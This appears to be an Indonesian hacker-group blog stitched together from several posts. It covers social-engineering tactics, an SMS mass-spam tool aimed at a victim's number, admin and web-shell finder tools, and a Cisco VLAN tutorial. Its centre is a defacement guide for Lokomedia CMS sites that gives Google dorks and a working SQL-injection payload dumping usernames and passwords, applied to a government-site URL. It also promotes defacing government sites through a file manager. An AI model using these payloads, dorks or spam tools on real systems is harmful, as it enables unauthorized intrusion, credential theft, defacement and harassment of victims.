Sebenarnya, teknik ini tidak hanya dilakukan oleh penjahat atau kriminal tapi polisi dan penegak hukum pun menggunakannya untuk memata-matai target operasi dan mendapatkan informasi tentang targetnya.
Nah, social enggineering sendiri memiliki lima teknik yang paling populer. Berikut jenis-jenisnya.
1. Phishing
Teknik phishing ini merupakan taktik penipuan yang paling sering digunakan sekarang ini. Beberapa penipuan Phishing digunakan untuk mendapatkan informasi personal seseorang seperti nama, alamat dan nomor keamanan sosial.
Selain itu, bisa juga dengan cara mengatasnamakan situs resmi seperti PayPal, Facebook atau situs lain yang mengharuskan seseorang untuk memasukkan email dan password, padahal sebenarnya situs tersebut adalah buatan si hacker.
Dengan cara ini hacker mendapatkan semua data yang diperlukan untuk mengambil alih akun seseorang.
2. Pretexting
Taktik pretexting ini adalah teknik yang digunakan hacker dengan cara berbicara layaknya para ahli. Hacker yang kita ketahui sangat mahir dalam hal teknis, tapi ketika hacker menggunakan social engineering, maka hacker bisa berbicara sangat lancar seperti seorang ahli.
Seperti Gamble yang mengaku bahwa sebagai Brennan untuk mengakses komputernya, ketika menelepon CIA. Itu berarti Gamble bisa sangat meyakinkan petugas CIA bahwa dia adalah Brennan yang asli.
3. Baiting
Baiting adalah teknik yang hampir sama seperti Phishing, yaitu memberikan pancingan berupa hadiah barang atau hal-hal yang menarik korban untuk membuka situs yang dibuat hacker.
Baiting kebanyakan menawarkan korbannya musik gratis atau unduhan film, termasuk film porno, dengan kecepatan yang lebih cepat. Setelah mengklik situs tersebut, korban harus memasukkan email dan password mereka.
4. Quid Pro Quo
Secara harfiah, Quid Pro Quo berarti 'sesuatu untuk sesuatu'. Konsep ini menjanjikan korban keuntungan yang sama yang akan mereka dapatkan dari informasi yang mereka berikan.
Taktik ini paling umum dilakukan oleh hacker yang berpura-pura menjadi orang layanan IT dan menelpon sebanyak-banyaknya orang dari perusahaan yang dapat mereka temukan.
Hacker ini akan menawarkan bantuan kepada korbannya dengan menjanjikan perbaikan sistem IT yang lebih cepat dengan catatan perusahaan harus menonaktifkan program AV mereka untuk melakukan perbaikan tersebut.
Lebih parahnya, hacker dengan taktik ini bisa jadi memiliki kemampuan yang lebih baik daripada orang layanan IT sungguhan.
5. Tailgating
Beberapa orang mengenal istilah Tailgating ini dengan Piggyback. Taktik ini dilakukan dengan cara menguntit seseorang yang memiliki otentikasi, seperti karyawan perusahaan untuk masuk ke area yang tidak bisa diakses orang asing.
Biasanya, pelaku tailgating, akan meniru kurir pengirim barang dan menunggu di luar gedung. Ketika seorang karyawan yang memiliki akses untuk masuk ke dalam area tersebut membuka pintu masuk, pelaku akan mengikutinya dengan menahan pintu itu lalu masuk ke dalam gedung.
Sumber : Kumparan.com
~Mr.FBSN./404
Yoo Yooo Yooo Whatsappp My friends :v
Udah lama mimin gak update nih blog :D Yaa Maklum Sibuk Muluu Lah :D
Yaaa Mimin kali ini mau share gimana cara spam sms simcard / kartu 3 (khusus pengguna kartu 3)
Okeee Lanjut Ini Bisa Pakek Termux / Terminal yak
Cara Gunain :
1 . Edit dulu nomer yg akan kita mass spam !
( DISINI W MAU MASS SPAM SMS DALAM SATU NOMER )
w spam 8 sms nanti 8 sms akan masuk ke hp korban
kalo udah di save ctrl + x >> y
2. Buka spantri.py nya
Buka Tuh Toolsnya Caranya
$python spantri.py
abis itu enter maka akan menampilkan gini
3. Masukan Path file list.txtnya
karena file list.txtnya dalam satu folder jadi kita tinggal ketik [*] List >> list.txt
Setelah itu dia akan langsung Mengkhitung jumlah pesan yg ada di list.txt dan langsung mengirim pesan tanpa delay
Assalamu alaikum Wr Wb.
Kali ini Mimin yang gans ini Ingin Memberi Tools Admin Finder
Tools ini sangat bermanfaat bagi kalian yang tidak mengetahui adminweb pada salah satu website.
Ya ini Dia Software / Tols nya Ya gan
Lalu...... bagaimana cara untuk menggunakannya ..?
pada kolom 1.yang tertulis http://www.contoh.com/ ganti 2.kemudian masukkan alamat websitetarget kalian, 3. kemudian Star Scan dan tunggu sampai muncul Hasilnya yang ada pada sebelah kiri
kemudian bagi yang ingin mempercepat hasil Scannya tinggal ganti intervalnya saja, dengan cara pilih Settingkemudian ganti intervalnya disitu sudah tertulis interval minimum 50.
Tols Atau Software nya Bisa Di Download Gambar Di bawah ini
Sekian Dan Terima Kasih Semoga Bermanfaat ya Gans Salam BekasiSec Thnks Admin BekasiSec -Mr.FBSN./404 -Nii-San Hexor
Yoooooo Gaann :V
udah lama mimin gak update nih blog :v biasa sibuk teroos lah haha :v
okee langsung aja yaa
Disini Mimin Udah Buat Tools Shell Finder Yaaa sama kek admin finder sih tapi shell finder kali ini pakek mode CLI / Command Line Interface . Bisa Kok Di Termux hehe .
[ SHELL FINDER ]
Coded By : Nii-san Haxor
Programming Language : Python3
Tested On : KaliLinux,MacOSX,Termux
Okee gayn :"v kembali lagi sama w mimin gans :V
nah kali ini mimin mau share nih ada tools baru yg mimin buat :v
okee nama toolsnya itu ResVIp gunanya untuk Melihat IP web mana yg sama dengan web yg lainnya.
Okeee gaynn kembali lagi sama mimin yg gans ini :V kali ini mimin mau ngeshare gimana cara deface SQLI-LOKOMEDIA mudah kok gak sampe pusing :V okee langsung aja Dork :
- inurl:statis-1-profil.html
- inurl:statis-2-profil.html
- inurl:statis-3-strukturorganisasi.html
- inurl:hal-tentang-kami.html
- inurl:statis-1-pengantar.html
- inurl:statis-19-beasiswa.html
- inurl:statis-22-kerjasama.html
Exploit :
'union+select+make_set(6,@:=0x0a, (select(1)from(users)where@:=make_set(511,@,0x3C6C693E,username,password)),@)--+
Cari Admin Login Dengan Admin Finder Punya w :
$git clone https://github.com/arifarhan16/adfin.git
Jika Admin Login Tak Ketemu Udah Ganti Target ae :v
Bingung cara ngexploit nya ?? sini di kasih tau :v
contoh :
http://sitepemerintah.co.li/statis-2-profil.html
kamu tambahin exploit nya sesudah angka jadi kaya gini :
OKeeee gaaan :V
ketemu lagi sama mimin :V kali ini mimin bakal ngeshare gimana cara deface website pemerintahan menggunakan methode RFM ( RESPONSIF FILE MANAGER )
OKeee gan :V Kembali Lagi Sama w admin gans :v kali ini mimin bakal kasih tau gimana cara buat VLAN di cisco Packet Tracer OKeee :v Langsung Buka Cisco Packetnya. Yang Kita Butuhkan : 1. Kopi ( Gak Penting Sih :V ) 2. Aplikasi Cisco Packet Tracer 3. Niat ( Karena Dari Niat Kita Bisa Melakukan Sesuatu ).. OKee langsung saja.\ 1. Buat
Topologi seperti gambar di bawah :
Sambungkan
Server0, PC0, PC1 ke switch dengan port fastethernet 0/2, 0/3, 0/4
dan untuk Server1, PC2, PC3 ke switch dengan port fastethernet 0/22,
0/23, 0/24. Hal tersebut supaya untuk mempermudah dalam pembagian
VLAN port di langkah selanjutnya.
Membuat
VLAN ID
klik pada switch cisco dan pilih CLI dan ketikkan
perintah di bawah
Switch> enable
Switch#
vlan database
Switch(vlan)# vlan 10 name
Div_1
Switch(vlan)# vlan 20 name Div_2
Switch(vlan)#
exit
Dalam pembuatan VLAN ID dapat membuatnya dengan
angka bebas antara 1-1000, dan untuk melihat apakah pembuatan ID
sudah berhasil atau belum bisa di ketikkan dengan perintah
Switch#
show vlan br
Jika
tampilan seperti gambar di atas terutama yang di kotak merah berarti
pembuatan VLAN ID sudah berhasil.
Langkah
selanjutnya yaitu mengkonfigurasi tiap port fastethernet agar nanti
dapat terhubung ke VLAN yang sudah dibuat. Caranya ketikkan perintah
di bawah
Switch> enable Switch#
configure terminal Switch(config)# int fa
0/2 Switch(config-if)# switchport access vlan
10 Switch(config-if)# exit Switch(config)#
int fa 0/3 Switch(config-if)# switchport access vlan
10 Switch(config-if)# exit Switch(config)#
int fa 0/4 Switch(config-if)# switchport access vlan
10 Switch(config-if)# exit
Lakukan hal
yang sama jika port akan di masukkan dalam vlan 10
Masukkan
juga pada port yang akan terhubung ke vlan 20 dengan cara
berikut
Switch> enable
Switch#
configure terminal
Switch(config)# int fa
0/22
Switch(config-if)# switchport access vlan
20
Switch(config-if)# exit
Switch(config)#
int fa 0/23
Switch(config-if)# switchport access vlan
20
Switch(config-if)# exit
Switch(config)#
int fa 0/24
Switch(config-if)# switchport access vlan
20
Switch(config-if)# exit
lihat dengan
perintah show vlan, maka akan terlihat pembagian port berapa saja
berdasarkan VLAN ID.
Kemudian
untuk memberikan IP Address kita bisa setting Server dengan DHCP,
agar masing-masing PC Client bisa mendapat IP dengan otomatis. Untuk
caranya sudah saya jelaskan di postingan sebelumnya. DHCP dalam
metode ini dilakukan untuk menanggulangi kesalahan pemberian IP,
karena terdapat lebih dari satu segmen jaringan.
Sampai
pada langkah ini antar Server dan Client yang berada pada VLAN yang
sama sudah bisa terhubung, tetapi belum terhubung jika antar Server.
Untuk menghubungkannya kita perlu jembatan penghubung yaitu dengan
Router. Colokkan router di switch port 20. Dan masukkan
perintahberikut ke Router :
Router> enable Router#
configure terminal Router(config)# int fa
0/0.10 Router(config-subif)# encapsulation dot1q
10 Router(config-subif)# ip address 192.168.1.10
255.255.255.0 Router(config-subif)# exit Router(config)#
exit
Kemudian setting juga untuk ID 20 dengan
perintah
Router> enable
Router# configure
terminal
Router(config)# int fa 0/0.20
Router(config-subif)#
encapsulation dot1q 20
Router(config-subif)# ip address
172.16.10.10 255.255.255.192
Router(config-subif)#
exit
Router(config)# int fa 0/0
Router(config-if)# no
shutdown
Router(config-if)# exit
Router(config)#
exit
Router# write
Untuk
langkah terakhir yang harus di lakukan agar semua perangkat bisa
terhubung yaitu membuat port switch yang terhubung Router menjadi
trunk, caranya klik pada switch dan pilih CLI dan masukkan perintah
di bawah:
Switch>
enable
Switch# configure terminal
Switch(config)#
interface fa 0/20 Switch(config-if)# switchport mode
trunk Switch(config-if)# exit
Setelah
semua langkah di atas di lakukan cek semua perangkat menggunakan
command prompt, dan seharusnya semua sudah reply atau terhubung
dengan sempurna.
Untuk Lebih Jelasnya Silahkan Lihat Video [ Klik Disini ] Maaf Juga Videonya W Potong Potong Karena Laptop w gak kuat lama buat Ngerekam Vidonya